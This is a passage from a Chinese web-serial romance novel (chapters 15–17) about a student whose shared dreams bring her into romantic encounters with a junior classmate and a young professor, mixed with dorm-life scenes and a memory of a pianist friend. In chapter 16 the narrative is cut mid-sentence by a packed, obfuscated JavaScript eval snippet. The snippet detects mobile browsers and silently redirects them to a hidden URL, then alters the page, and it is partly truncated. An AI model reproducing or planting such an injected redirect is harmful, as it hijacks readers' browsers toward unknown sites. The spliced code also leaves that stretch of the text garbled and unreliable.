三人看着这照片,有些无言。原来是早上,难怪纪佳时这两天起得早还不走寝室,以往虽然起得早但在寝室。不过,这照片怎么那么奇怪?他旁边的男的是谁? 不可能是两男追一女吧? 发这张照片的人是想认识这两男生,很快评论有人回复: 【穿大衣的是经济学教授莫沅教授,妈呀好帅,今天穿得好年轻】 【莫教授旁边的是法学专业的帅哥纪佳时,两个帅哥坐一起,好养眼】 【都长得那么帅,难不成是亲戚?】 【对面坐着个女生,是谁啊?】 “燕舒!这人是不是你啊!”寝室里传来李梦音的大叫。 燕舒推开阳台的门重新回到温暖的寝室,她路过李梦音,被对方用力握住手腕,将手机递给她。 手机上是一张照片,照片拍了很多人,但纪佳时和莫沅在照片中心,格外吸引眼球,两人对面,是半边身体被挡一半的燕舒。 李梦音一天都在见燕舒,当然知道她穿了什么衣服,哪怕露个衣角她都能认出来,何况半个身子,况且她知道燕舒今天和莫教授见过面,一切都对上了! “你可没告诉我你今天和纪佳时吃饭了!”李梦音目光炯炯地看着眼熟。 莫教授都三十多了,虽然脸长得年轻但李梦音跟本没把两人往粉红泡泡上想,但纪佳时不一样,年轻的学弟,长得还帅,听说家境也不凡……嗯……非常好! 看着李梦音炯炯发亮的一双眼睛,燕舒扶额,最终三两句解释了和纪佳时相识相遇的过程,只不过对梦境中的事有所遮掩。 “他喜欢你。” “可、能、吧。” “他绝对对你有意思!” “好吧,不过我也不知道他为什么……喜欢我。” “想那么多干嘛?直接拿下!” 恰好,手机铃声响起。 燕舒,拿起一看,是纪佳时打来的。她没接,有些忐忑地再次来到阳台,探头往下望,结果空荡荡并没有看到人。 对了!燕舒这边是一栋后面,纪佳时又不知道她宿舍位置,出现在主门,她看不见也正常。 “谁打的电话?”李梦音敏锐异常,跟了过来。 “嘘。”燕舒朝她晃了晃手机,屏幕上三个大字:纪佳时。 她接起,对面传出少年清脆带风的声音:“学姐,你是哪栋楼的?” 纪佳时来到一栋宿舍楼后面等待,他仰头看,默默数楼层,在心中念到八时找到了那个在窗台俯视他的身影,女生静静地看着他,他主动招手,于是女生也轻轻挥了挥手,夜色微冷,但一股热气不知从何而来,将他整个人包裹。 喜欢一个人就会这样吗?只见到她的一个模糊的身影都觉得幸福。 15. 第 15 章 梦境地点刷新,对燕舒来说并不是件值得惊讶的事。只是看见自己在图书室里她还是略微惊讶了些,更令人惊讶的是,她是在陵隆中学的图书室。 身上并不是校服,而是一条白色褶皱长裙,夏日的光芒透过模糊的玻璃窗照射进房间,照在燕舒身上,暖洋洋的。 陵隆市是距离C市较远的一个地级市,发展中规中矩,但本地文化资源丰富,近些年来随着互联网的普及而逐渐有更多人知晓。陵隆中学是陵隆市的重点中学,包含初中和高中两个学部,占地面积可以与陵隆市里的半个陵隆大学比肩,初中学部和高中学部都分别有自己的教学楼和活动区域。 燕舒在陵隆呆了六年,她只一眼就认出现在所在的地方是初中部艺术楼一层图书阅览室。随后她环视一圈,又四处走动,这里似乎除了她没有别人了,图书室的门也被关着。 但,既然是梦又怎会只有她一人呢? 只是现实世界刚刚提过陵隆中学,梦里就再回到这里,燕舒觉得自己似乎又摸清了梦境的一些规则,那些旅行者含糊带过让她自己摸索的规则。 不过……会是她想的那样吗? 燕舒的手指抚过一排排书架上的书籍,虽然不记得现实中陵隆中学图书室里到底有什么书了,但梦里的书都是清晰的,和现实世界中的似乎没什么不同,只是……燕舒的手捏住一本爱情小说书籍,将其从书架中抽出。 《女帝归来》,嗯,她就爱看小说。 燕舒的少女时代并非像电视剧里那样热烈而又灿烂,像一杯温水,平淡温和,紧张的学习生活中唯一的调剂娱乐就是小说和电视剧。 燕舒拿着书坐在靠窗临近太阳光的地上开始翻书,现在她已经对梦境中会发生什么不再忐忑不安,更多的是随遇而安,且隐隐有了享受的想法。 《女帝归来》这本书讲的是女主风隐为皇族公主但因父亲身份低微而被母皇不喜,但她心思深沉一直隐忍筹谋,骗取男主云莲的爱慕,利用他获取了夫族的支持,一步步走上高位,最终称帝。 她剧情线虽爽,但感情线却是波折起伏,凤隐想成女皇的大女人志向与云莲只想平淡生活做“一生一世一双人”的爱侣的小男人梦想最终冲突,他一次又一次与凤隐闹别扭,最终在一次叛乱中被人捉住用来威胁凤隐,最终死于乱箭之下。死后,凤隐才知自己深爱于他,可惜真爱已失,留给她的只有冰凉的皇权和后宫无人懂她真心的莺莺燕燕。 结局,凤隐已两鬓霜白,她站在皇城上,看天下人来往熙熙,感到无比惆怅,尽管她坐拥帝位,后宫佳丽三千人,膝下女儿欢声笑语满堂雷动,可是她孤独。 “我一生从未得到过什么真心喜欢的东西,得到了也失去了。” 燕舒看得如痴如醉,直到眼角的泪珠被人用指腹轻轻擦去。 一道阴影笼罩在燕舒身上,她慢慢抬头,看见面前的人,有些惊讶,又似乎在意料之中。 “哭什么?”男人问,他语气轻柔到一种不可思议的地步。他的手温热,双手捧起燕舒的脸,低头凑近,一双眼睛紧紧地凝视燕舒的眼。 燕舒一直都知道莫沅教授长得很年轻,很俊美,只是她在现实中见他都是穿着深色且厚重的冬衣,脸上的神色总是严肃,哪怕戴着眼镜都遮挡不住眼睛中冒出的凌厉光芒,再加上有老师这个身份的加持,燕舒心底总有些怕他。 可梦中,男人穿着白色短袖、蓝色牛仔裤,在燕舒看来和她的大学同学并无年龄上的差别,何况他一双眸子正柔情似水地看着她。 不用说,梦里他的身份一定是她的……情人? 燕舒觉得自己经过几轮梦境已经接受程度良好了,但是此刻看着莫沅心中还是忍不住惊疑。 这梦境是不是太癫了? 自己怎么会和莫教授产生联系?就因为现实中她崴脚和他加了微信的原因吗? 这梦境太癫了。 不过,燕舒心底一边吐槽梦境太癫狂,一边却又有些……说不出的愉悦与兴奋。 此刻,她耳边冒出两股声音,它们分别化出幻像,一只白色小天使瞥了眼莫沅然后脸色涨红双手捧脸道:“不行不行!太尴尬了!他可是、梦里也不可以!” 黑色小恶魔飞到莫沅的面前,抬手‘啪’地扇去,然后转身不屑地看着白色天使道:“怎么那么怂?” “这是你的梦境!只要不崩坏梦境中的逻辑链你想做什么不行?” 燕舒松开握住书的手,挥退面前的幻影。 书掉落在地上,发出重重的声响。 莫沅单膝跪地,低头将书捡起,他合上书页看了眼书名,再抬头看着燕舒,问:“怎么了?舒舒。” 舒舒? 燕舒想起身,但她坐的地方本身是靠窗的角落,左边是墙壁右边是书架,莫沅赫然将她堵在了角落。两人贴得很近,狭小的空间稀薄的空气被他们占据以至于后面似乎在交换呼吸。 她刚刚动作,男人就更快一步地站起身,然后伸手揽过燕舒的腰。燕舒猛然被抱起,双脚离地,没有支撑力,只好双手快速环住男人的脖颈。梦里是夏季,两人都只穿着一层衣衫,骤然贴近,体表的温度在暖阳下快速升高。 燕舒本以为自己看过白榆的裸体和吻过纪佳时后梦里不会再产生害羞的情绪了,可是真对上莫沅的眸子,心底某个地方被触动,她的耳朵逐渐红了。 十八九岁的少年和三十岁的成年男人带给人的感觉是完全不一样的,他们完全是两个物种。 莫教授的双臂肌肉很结实,他虽然平常戴着眼镜看起来斯斯文文的,但竟然不是个真的文弱书生。 梦里纪佳时是贤妻良母型,白榆是热情……骚-货-型,陆寻春是野蛮女友型,那莫教授是什么类型呢? 似乎有些强势呢? 各种思绪在燕舒脑海中乱窜。 “舒舒,你在想什么?为什么不理我?”莫教授皱起眉头,不知是不是自己梦里也害怕老师,燕舒感觉他的眸光都有些冷了。 “在想纪佳时?还是陆寻春?” 燕舒确实在想这两个人,且不止在想他们。因为在陵隆中学,她还不可避免想到了陈平生,那个会在她看小说时突然从某个角落跳出来吓她的少年。 只不过,燕舒抬手抚摸上男人的脸颊,用力想抚平他皱起的眉,道:“你刚刚去哪了?” 按梦中逻辑,既然她没在图书室找到他,那么他就在图书室外面,只不过燕舒不会主动踏足,谁知她推开门梦境是直接塌了还是自己触碰另一个世界线被抹杀又或者是再次见到旅行者。 她问这个问题只是不想回答对方的问题。 莫沅没有错过她眼里闪过的不耐烦,面上神色立刻缓和,恢复从容,侧头贴近燕舒的手,语调带着钩子道:“宝宝,对不起,我不该质问你。” “我刚刚在外面又接到你前男友打来的电话,知道你要订婚了。” “他们打不通你的电话就来给我打,真是像赖皮膏药一样甩不掉,烦。”莫沅说完,贴近燕舒,他的视线落到她的唇上。 早在燕舒抬头时,莫沅就观察了她许久,她一袭白色长裙坐在地上,长发披在身后,几缕碎发随着低头而飘到前方,面颊粉红,涂了口红,唇瓣柔软。 至于为什么他能看出她唇瓣柔软,因为他尝过。 莫沅不是个善人,至少在明白自己喜欢燕舒后就没想过做一个遵守秩序良俗的人。 他知道她有男友,那又如何?女孩子在大学谈恋爱不是理所应当吗? 他又做了什么呢? 不过是以亦师亦友的身份陪伴在她身边,在她男友陪伴不了的时间去陪她,在对方力所不及的地方去帮助 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爱情只是她生命中最无足轻重的东西。对此,他心中复杂,如果燕舒专情,他就不会有上位的机会,可同样的他得防着别人故技重施。 燕舒会犯一个错,一个全世界女人都会犯的错。 燕舒察觉了他的焦虑情绪,便带他出门,两人来到陵隆中学,既是故地重游,也是借旧景相互亲近。 今天是周六,图书室并没有老师,门也被他锁了,他盯着燕舒的唇,思考几秒低头咬住,然后带着几分霸道,撬开她的牙关,长舌长驱直入,开始冲锋。 被吻的一瞬间,燕舒脑中一片空白,时间仿若凝固,整个世界只剩下耳畔如雷的心跳声。 她在梦中敢吻纪佳时是因为几次梦下来对对方已然熟悉,逐渐大胆。人是很机敏的动物,经过几次梦中和现实的相遇,她对纪佳时总有一种“可掌握”、“可拿捏”的感觉,所以才敢在梦里任美色侵占大脑,主动吻上去。可是,莫教授她一点都不熟! 不说两人的身份差距,就梦中第一面怎么就亲上了?太离谱了! 她被他抱住都会感到古怪,何况亲吻呢? 再说…… 再说…… 燕舒很想推开对方,但是她被吻得没有力气,她瞪大双眼,身体刹那变得僵硬,理智在脑中疯狂呼号,可身体不听使唤,于是逐渐沉醉在这个吻中。像是泡在温泉中,很舒服,浑身软绵绵。 身体在乱动,心跳咚咚地响。 和纪佳时的青涩相比,莫沅教授简直是技巧高超,极会拉扯,他似乎熟悉她口腔里的每一个角落,于是舌头伸进去压着她的舌头在口腔中到处乱窜。吻的时间太长,燕舒有些缺氧,头昏脑涨,把脑中刚刚的羞涩忐忑忘得一干二净,只剩下‘反击’二字。 她也学着他伸舌头去挑逗他,可不仅没能成功,还被他轻轻咬了咬,不痛,可是感觉怪怪的。 终于,他结束了这个吻。 燕舒抬头看他,这次发觉自己不知何时已经坐在他的怀中,他靠着墙将她抱着,面色红润,像极了吸了她精气的鬼书生,舌尖还吐露在外面,像是故意给她看两人粘连的银丝。 实在是太不要脸了! 燕舒整个人通红,连裸露在外的皮肤也透着粉红,发着烫。 理智回归,她看着男人,想起刚刚那个吻,舌头在她口中做出XXOO的动作。 耳边雷鸣电闪,莫教授在她心中高岭之花不可亵渎的形象破碎了,她自己觉得心中某个东西也裂开了,于是,抬手向对方扇去。 ——啪! 燕舒的巴掌软绵绵的,不过莫沅主动凑了上前,然后打得微微侧头,像是故意哄她,他面上绽放出笑颜,将燕舒放下,双手将她的手捧住,眸光明亮,问:“宝宝,手不痛吧。” 16. 第 16 章 “这边,也给你打。”他又凑近,将另一侧的脸贴在燕舒手上。 他脸庞的轮廓线条流畅柔和却又不显得过分柔美,只是恰好,恰好的弧度,像是被精心雕琢的艺术品。皮肤自然透亮,眉眼弯弯,在阳光下泛着微微的暖意。阳光照耀下,细细的绒毛仿若一层薄纱,为他填了些别样的生动。 莫沅是有些近视的,在很多时刻,包括别人对他的偷拍照上,他总是戴着眼镜,但不知何时他取下了眼镜。 应该是在两人的接吻时刻。 摘下眼镜的遮挡,像脱去往常的面具,此刻他在她面前露出大半的真实。棕色瞳仁在日光下逐渐晕染开,深邃而温和,眼睛里透着狡黠,明亮有神,有些戏谑地瞧着她。长长的睫毛在眼下投下淡淡的阴影,随着他的呼吸,像蝴蝶轻颤的翅膀,微微抖动。 两人实在离得太近,所以燕舒将一切都看得那么仔细,心更因为对方的羽睫轻颤而升起几分痒意。 她刚刚被吻地脱力,又不肯服输,就用手抓了抓他的头发,于是原本柔顺垂坠的头发变得乱糟糟,额头几缕倔强地竖起,显出几分不羁与随性。 明明现实中还不熟,可梦里他整个人就气质一变,显露出真本性,还吻了她。 燕舒心中情绪汹涌,可表面整个人却呆滞住了。 见她没反应,他的手捧起她的脸,再次低头凑近,燕舒下意识地呼吸一滞,控制不住往后。可男人比她更熟悉她的身体,更似乎提前知悉她的动作,于是长腿一迈,直接将她再次困在原地。 “宝宝,不要拒绝我,好吗?”明明不肯她退让,却依旧语调可怜,似乎求她怜悯。 可偏偏,燕舒被这句话触动了,也许是被他的眼神迷惑了,竟真一瞬直愣愣地望着他不动。 温热的气息裹挟着似陌生似熟悉的檀木香扑面而来,燕舒望着他的脸庞,有些羞恼,她清楚地感受到他唇瓣的温度和微微的颤动,一股奇异的酥麻感从嘴唇触电般地蔓延至全身,让她紧紧攥着裙摆的手都微微发颤。 燕舒是一个乖女孩,从小到大都是如此。 这是所有了解她的人的共识。 她不是永远第一的那种标准模范生,但她一定是老师、家长、朋友都共同称赞的乖孩子,是班级中的中游,是寝室里的中立者,是符合世俗标准的乖女孩。 对于爱情,燕舒有过少女的憧憬,可当她步入大学可以谈恋爱后这些憧憬反而消失,她没有喜欢的人,感情淡漠到有些冷心冷情。 不喜欢另一个人,也能谈恋爱吗? 寒暑假回家,亲朋好友探寻她的感情状况,得知她没谈恋爱有些惊讶,然后笑闹着说她温柔乖巧、孝顺父母、高学历以后在相亲市场上一定吃香,安慰她父母不急于一时。 这是夸奖,也是嘲讽。 对此,燕舒从没反驳,依旧礼貌坐在一旁脸上挂着笑容,只是心里平静地诅咒对方耀祖考不上大学,果然第二年,男生读到半途逃出学校去外地打工了。 也有人建议燕舒不要眼光太高,说好男人不是等出来的。 好男人? 燕舒不知道别人对好男人的定义是什么,但按世俗标准来看,那梦里的纪佳时真是当之无愧的好男人,贤夫良父,为爱刚强,一个人支持起家庭。 他太好了,于是燕舒有些喜欢他了,喜欢到对现实中的少年也稍稍动了心。 燕舒思维继续发散,开始思考自己身上的标签,到底是乖女孩还是坏女孩? 乖女孩应该老实一点、听话懂事,但燕舒觉得自己只是表面上看着老实。要是真老实,她就不会得到梦中世界的机遇,她只是太不坦诚。 或许,再有些许胆怯和小心翼翼。现实世界的枷锁有些太重了,她被人凝视而粘贴在身上的标签也有过于“粘黏”。 明明已经知道这是自己的梦境,在梦里和男人吻得难舍难分,但她还是感到一阵羞愤与惊愕,这样的情绪在她心中反复拉扯。 不过,在这漫长又短暂的几秒中,两种情绪拉扯到极致后,燕舒竟有了对自己不争气的懊恼,不过是吻而已,说好享受梦境,自己这是在想什么? 梦境还没结束? 莫沅的手握住燕舒的后脑勺,另一只手抚上她的额头,擦去因她额间的细汗而粘黏住的发丝。 图书室很大,他们站在最后面的一排书架中间,身侧就是窗户。窗外的阳光透过玻璃洒在一排排高大的书架上,也洒在两人身上,暖洋洋的。空气中弥漫着陈旧纸张与油墨的混合气息,燕舒刚开始还能闻到,后来口鼻中被男人身上的檀木香淹没。 “哬……哈……” 粗重的呼吸声在空荡且寂静的图书室中交织回荡,燕舒双手抓着男人的衣服,四目相对,她的眼神中既有丝丝迷离又有羞怯与懊恼,胸膛剧烈起伏,张着嘴,丝丝温热从唇间吐露,声音有些颤抖,像是春风中的杨柳枝,飘摇不定。 …… 电梯中,燕舒镇定自若地站在莫沅身边,借着电梯中的金属壁面,她观察她与男人现在的模样。头发一样乱糟糟,只是他白色上衣被她抓住几道褶皱,而她的唇则微微红肿。 燕舒有些脸红,不过她面上在努力严肃。心底却不由对比起纪佳时和莫沅,心想,如果是纪佳时的话,此刻脸红的一定不会只她一个人。 少年原本明亮清澈的眼睛会猛地睁大,眼中泛起难以置信的神色,仿若被一颗石子打破平静的湖面而泛起层层涟漪。绯红色从耳根蔓延,一路火烧火燎地来到脸颊,低着头,嘴唇微微颤抖,似乎有话被堵在口中,一个字也吐不出。眼神会忽地与她对视,再轻飘飘移开,然后又从远处收回,深吸一口气,紧盯着她…… ——叮! 电梯门开了。 莫沅拉着她走出电梯。 图书室里,男人还想索吻,于是燕舒又一巴掌打了过去,然后严词拒绝,说会有人看见他们两个。她本意是胡说八道,结果男人竟认真回复她说现在是周六,艺术楼没人,他们不就是趁着没人来初中小院一起回顾过往时光吗? 燕舒又胡乱搪塞了几句,于是莫沅拉着他的手带她走出了图书室。 偌大的艺术楼,虽然是周六,但也应该有人,因为高中部是周六晚上放,但男人并不觉得这事有什么不对,燕舒知道是梦境的原因,自然也不会说,只默默跟着他走在艺术楼中。 楼道灯亮着,窗外阳光炽热,透过窗户在地上撒下斑驳光影。 走廊两侧的墙壁上挂满了学生的绘画作品,燕舒感到有些无趣,她对艺术作品只能欣赏不能自己创作,而墙上的,目前并未有一幅点燃她的兴趣。 但莫教授显然兴趣颇高,他给她分享,他以前是班上的文艺委员,负责班级后面的板报。 燕舒有些讶异,“你画画很好?” 莫沅有些谦虚得应下。 他的确画画很好,只不过他学什么都学得好,所以画画不过作为他的一门兴趣而发展而已。 但,他不会在燕舒面前太过自得,男人太强势不会被女人喜欢的,他本身就性格强势,做事也爱争强好胜,面对在燕舒面前装贤良淑德的纪佳时已经是劣势,他又怎么会自己给自己挖坑。 他要在燕舒面前微微示弱,自我贬低。 相比于在事业上做男强人,他更希望做燕舒身边的小男人。 两人来到三楼,燕舒站在一间琴房前停住,门是半掩着的,从她这边看还能看见那架静静伫立的钢琴。 她想起了一个人。 初一刚进校,燕舒对一切都很新奇,第一次跑进艺术楼,一层一层地逛,直至来到三楼,在楼道拐角处停下,窗边斑驳的树荫借着阳光在地上轻晃,她听到了一阵悠扬的音乐。 燕舒没学过声乐,她接触音乐的途径就是在小学的音乐课上和同学合唱,音乐老师会拿着书手指轻轻上下摇晃着打节拍。 顺着音乐声追寻而去,她在靠近楼道的琴房门口看见一个穿着蓝白校服的姐姐。一头利落的短发,发梢稍稍翘起,几缕碎发俏皮地垂落在脸庞边,随着她轻微的动作而微微晃动。 她脊背挺直,指尖音符如潺潺流水流出,那么轻柔,可过了一会,节奏陡然激昂,带着排山倒海的气势朝燕舒袭来。 波涛汹涌的海洋之中,短发少女拉动船帆,面对骇浪面不改色。 拉赫玛尼诺夫的《第三钢琴协奏曲》,她弹出了属于她的表达。 因为这次偶然相遇,燕舒认识了这个比她大五岁的高二学姐章骁。 十三岁的燕舒,父母忙于工作并不怎么关注她,可她也喜欢这种自由,她想做个成熟的大人,于是主动和这位高中部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126992|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学姐做朋友,向其学习。 她们互相写信,明明就在一个学校却做起了笔友。 章骁教她弹钢琴,燕舒学得愁眉苦脸,意识到自己真的没有这个天赋,也更明白章骁的实力,总说:“学姐以后一定会成为非常厉害的钢琴家的!” 短发少女总会羞涩地笑,过了一会后面上又浮现出略带苦涩的模样。她们坐在琴凳上,少女微微低垂着头,一半的脸被碎发遮挡,另一半的脸既忧郁又森冷,阳光照在她的侧脸,像是金色的幻影。 初一下,章骁学姐退学了,原因很简单,母亲重病,她读不下去了。学校给她举行了一场义卖会,燕舒这才知道她的家庭身世,母亲是钢琴老师,父亲入赘她家后骗走家中资产远走高飞,再无音讯,母亲因此深受打击整日愁苦,患上重病。 命运的风暴席卷到她身上,不可避免的,少女折翼败走。 她离开前送了燕舒一张贺卡,上面有她的联系方式,可是燕舒后来并没有联系到她。于是,时间的尘埃逐渐将这段故事掩埋。 直至梦中,她忽地又记起。 燕舒坐在琴凳上,莫沅站在一旁,他从不知道燕舒会弹钢琴。 “其实我不会弹。”燕舒有些紧张又有些羞涩地看向莫沅说道。 “不过,她教过我一段。” “他?” 听燕舒的语气,这似乎还有一段故事,莫沅的心稍稍提起。 燕舒不答,只郑重地呼了口气,指尖放上琴键,开始按照记忆慢慢弹奏。她弹得真的是慢极了,甚至错了几个键,像是小孩玩耍般地胡乱弹奏。但莫沅依旧静静听着,直到她的手指落下最后一个重音。 “拉赫玛尼诺夫的《第三钢琴协奏曲》。”莫沅道。 他家境好,自小学过钢琴,只不过不精而已。 “你会?”燕舒讶异。 “会一点,不算好。” 莫沅坐在燕舒身旁,他感受着身旁人的目光,微微侧头,道:“宝宝,我觉得你我之间的了解还是太少,太浅了。” 他应该是故意的,眼神赤裸裸地在燕舒唇上巡视,然后又快速收回目光正色起来。时间太短,燕舒想变脸再给他一巴掌都没来得及。 人真是适应性很强的生物,明明刚开始她对他还有一些面对老师的害怕和惴惴不安,可才过了一会,她已经准备扇他第三下了。或者说,燕舒有些暴力成瘾了,她有些害怕,自己应该不会现实里看见莫教授也抬手给他一巴掌吧。 莫沅的手指在钢琴上轻轻抚过,轻柔的前奏响起,燕舒闭上眼睛聆听。 莫沅有些过分谦虚了,他弹得也好听,轻柔地拉开乐曲的序幕,恰当的节奏转换,旋律上扬,力度层层递进,只是燕舒听着再也找不到听章骁学姐弹奏时的感受。 原因有很多,她一时半会说不出来。 望着身旁人亮晶晶求夸奖的眼睛,她道:“好听。只是,不如她弹得好。” “谁?”听到燕舒的回答,莫沅有些微微的失落,可很快他被另一件事占据心神。 燕舒一直提到的人,是谁? 他更在意这件事。 “章骁,一个我上初中时的学姐,比你小几届,你不认识。”看着对面求知的眼神,燕舒说了。 她站起身,准备侧身走出琴凳,却听身后人道: “章骁?” “名字有些耳熟。” “最新一届范?克莱本国际钢琴比赛的获奖者,我怎么会不认识?” 在燕舒的追问下,她得到了故事细节,一个和现实中不同的版本。 虽然那个男人依旧恶劣,可章骁家在短暂的挫折后再次站起,她依旧在陵隆中学读书,只是高中就出国留学深造了,再次知晓她的消息,是因为她拿了奖出名了,陵隆也因此出名。 而莫沅之所以知晓这些信息则是因为他看着那篇新闻报道。 #天才钢琴家的故乡:陵隆,一个伤心地,也是灵感的源泉# 激昂的钢琴曲又开始奏响,燕舒转头,莫沅站起身,他身后重叠着一个短发少女,她坐着琴凳上,少女的背依旧笔直,只是面上的愁苦色消失,更多是昂扬肆意的光彩。 她本该如此。 琴声飞扬在梦境每一处空间,从琴房飞出,将整栋艺术楼环绕,梦境结束。 17. 第 17 章 周五上午,李梦音坐在书桌前写论文,模样看着很是认真,但忽地她用力抬手拍桌,安静的寝室中响起巨大的声响,再之后烦躁地挠头,不时唉声叹气几句。过了一会,她将凳子往外拖,身体往椅背上一靠,抬头看向右侧上方的床帘。 床帘微微晃动,然后被人拉开一个小缝,燕舒的头从中钻出。 两人对视,燕舒问:“怎么了?唉声叹气的。” “下午我的选修课,有论文作业,我好痛苦,除了复制粘贴真的憋不出一点。”连声音都能听出少女浓重的怨气。 听到这话,燕舒目露同情,李梦音选修课是统计物理与经济数据分析,听名称就知道这不是什么很容易就能学懂的课。 “你呢?”李梦音打探燕舒的情况。 燕舒嘻嘻一笑,道:“不急,周五没课,再算上周末两天,我有三天时间水一篇作业出来。” “可恶!”李梦音声音哀怨又不满,她站起来跺脚,然后转身向宿舍门走去,因为已经听见外卖被放在门口的声音了。 果不其然,过了一会,敲门声响起,李梦音等了一会,才打开门将地上的两份外卖拿起,转身顺脚关门。 “你吃的什么?”她站在燕舒桌前将两份外卖提到眼前。 床上,燕舒翻身坐起,回答:“不知道吃什么,点的黄焖鸡米饭,你呢?” 床下,李梦音分辨出属于燕舒的那单,将其放在桌上,向自己的座位走去。 “鸡公煲。” 燕舒从床帘中爬出,双脚踩在扶梯上,双手合拢向李梦音拜谒,“原来是黄老友,失敬失敬。” 李梦音对她翻了个白眼,坐到座位上说:“看来你今天心情不错嘛。” “有这么明显吗?”燕舒落到地上,慢吞吞穿上毛拖鞋,转身看向李梦音。 “你今天有点太活泼了。”李梦音评价。 “哦?是吗?我昨天不活泼吗?我一直活泼可爱。”燕舒脸上扬起笑容,挪步坐到自己的座位上。 想到昨天燕舒起床也哼着歌,在洗手台对自己一阵乱摸乱抱,李梦音无言。 燕舒最近不仅起得早还精力旺盛活力满满,还有些异常愉悦,脸上总是挂着笑。 古怪,实在古怪。 李梦音打开电脑上的视频网页,一边打开外卖一边回复:“我还知道你七点就醒了,还在床上翻来翻去,发生什么事了?捡到能让你中一千万的彩票了?苟富贵,勿相忘。” 一旁,燕舒嚼了一口米饭,摇头:“我倒是希望能彩票天降,可惜…” “不过,我做了一个美梦。” “什么梦?”李梦音有些好奇。 “秘密。” “好好好燕舒舒,我们才分开多久,你就有那么多秘密了。你居然神不知鬼不觉拿下了纪佳时,这也是你的秘密。你说的美梦,不会是梦见了他吧!梦里谈情说爱是吧!难不成你和纪佳时就是巫山神女和楚怀王?旦为朝云,暮为行雨。朝朝暮暮,阳台之下。怎么样?感觉怎么样?” 李梦音越说越离谱,甚至逐渐向不可说的方向偏离,燕舒无可奈何带上毛绒耳罩,虽然依旧听得见,但这至少表明她懒得理她的坚定立场。 有时候,人无意之中说出口的话就是真相,李梦音虽然说的离谱,但燕舒的际遇比她说的还离谱。 吃完饭,李梦音就出门了,为了逼迫自己写论文,她决定带着电脑提前去教室。 对此,燕舒称其为“实有大勇”。 李梦音路过燕舒的桌子,顺手掏了几个桌子上的水果,她朝燕舒挤眉弄眼,“我可以拿你学弟的几个果子吃吧?毕竟这可是我昨天晚上帮你提上来的。” 昨天晚上,纪佳时说带了水果和药想给燕舒,但燕舒崴脚不方便下楼,于是李梦音接下了这个任务。 燕舒肯接受纪佳时的水果是因为本以为和校门口摊位上买的差不多,结果对方送的水果一看就不便宜,虽然细心且妥帖地没贴标签,但昨天两人搜了下,一颗苹果二百八十九,一盒草莓两千多,把她们直接惊呆了。 当时搜到这个价格,惊得李梦音嘴巴都不动了,直愣愣地看着手中被她咬了一口的苹果,又瞧了瞧燕舒,脸上露出尬笑。 “吃吧,没事。”燕舒淡定将纪佳时的聊天框打开。 她是不准备将水果还回去的,毕竟水果有时效性也看重新鲜度,对方送来她又送回,不怎么好,于是她问纪佳时他花了多少钱,她转账给他。 但很显然,对方家境有些过分好了,他说这些是让助理帮忙买的,不贵,他也不知道多少,更不希望燕舒回礼。 两人拉扯来拉扯去,最终他发:【如果学姐真的想回礼的话,不如请我吃顿饭吧。】 【好】 对话结束,一旁目睹全部过程的李梦音看着燕舒皱起的脸蛋,拍了拍她的肩膀道:“不要心疼男人,更不要心疼男人的钱,要不然没好果子吃的。” “真的。”说完,她狠狠咬了一口手中的苹果,“两百多一个的苹果就是好吃,清甜脆爽,好吃,爱吃。” 李梦音离开后,寝室里只有燕舒一个人了。 手机振动,又有新消息。 点开,不止是纪佳时的消息,还有……陆寻春和莫教授。 纪佳时的不用多说,非常无聊的日常报备,他准备上课了。 燕舒一开始还有些奇怪对方为什么这些小事都要给她说,但对方主动她总是高兴的,且通过聊天她也发现纪佳时是真的有点笨拙,他不怎么会网聊,他对她的心思直白到透明,但两人又没戳破,只心照不宣地暧昧。 燕舒没谈过恋爱,她一直看网上的人说男女暧昧期是最爽的,如今她终于体验到了。没有身份的束缚,只简单却又羞怯地表达喜欢,确实很爽。 而陆寻春,他发了一段十二秒的射箭的视频。 【在射箭场】 燕舒好奇点开。 视频中,在光线柔和的室□□箭场,男生穿着一身紧身黑色短袖,肩膀宽阔,窄腰与宽厚的肩膀形成鲜明对比,呈现出极具张力的倒三角身材。头发蓬松,在头顶灯光照射下微微发亮。 陆寻春的面容虽然略显稚嫩和年轻,但五官鲜明,侧颜轮廓明显,视频中他微眯着眼,整个人静谧而专注,像一头蓄势待发的豹子,和他平时的形象反差太大,反而充满魅力。 瞄准前方,他深吸一口气拉弓,弓弦被拉得紧紧的,发出“嗡嗡”声响,双臂上的肌肉随着动作而紧绷,胸膛微微鼓起,背部的肌肉群也隆起,隔着衣物都能显出流畅且清晰的线条。 指尖颤动,利箭脱弦,凌厉的破风声响彻整个空间,男生挑眉,眼中溢出光彩,转头露出灿烂笑容。 好帅,这是燕舒看完整个视频的第一感想。 【好厉害】 对方很快回复:【我在训练[笑脸]】 【比赛吗?】 【对,C市的射箭精英赛也是认证达级赛。】 【燕舒,我能邀请你来看我的比赛吗?】 燕舒确实有兴趣,但她这份兴趣既是对射箭感兴趣又是因为她刚刚对陆寻春起了色心,可她还是有些抗拒陆寻春,有色心没色胆。于是,她打迂回战术,只说有时间会去支持他。回复完陆寻春,燕舒有些心累,两个人,她回消息都觉得麻烦。 点开莫教授的头像,燕舒有些不知道怎么回复。 对方发得很简单也很官方客套:【过了一天了,情况如何?如果要去医院,给我说。】 看着屏幕上的话,燕舒可以想象对方说这话的语气,礼貌温和,这并没有什么不好,只是和梦里的他差别太大。 燕舒知道自己最近桃花有些旺盛,但她不觉得莫教授也会喜欢她,这种想法似乎想一想都觉得可笑和羞耻,太自恋了。 自己要是把梦境和现实分不清,那就真会闹出笑话,更严重会成为一个疯子。 想到这里,燕舒身体一哆嗦,赶忙将萦绕在脑中的一些旖旎思想赶出脑海。她回:【谢谢教授,我不严重。】 过了一会,对面回复:【好,记得写作业,下周一见】 【收到 [收到] 】 遵循对方的要求,燕舒打开电脑,手指在键盘上狂舞了会,然后开始发呆。 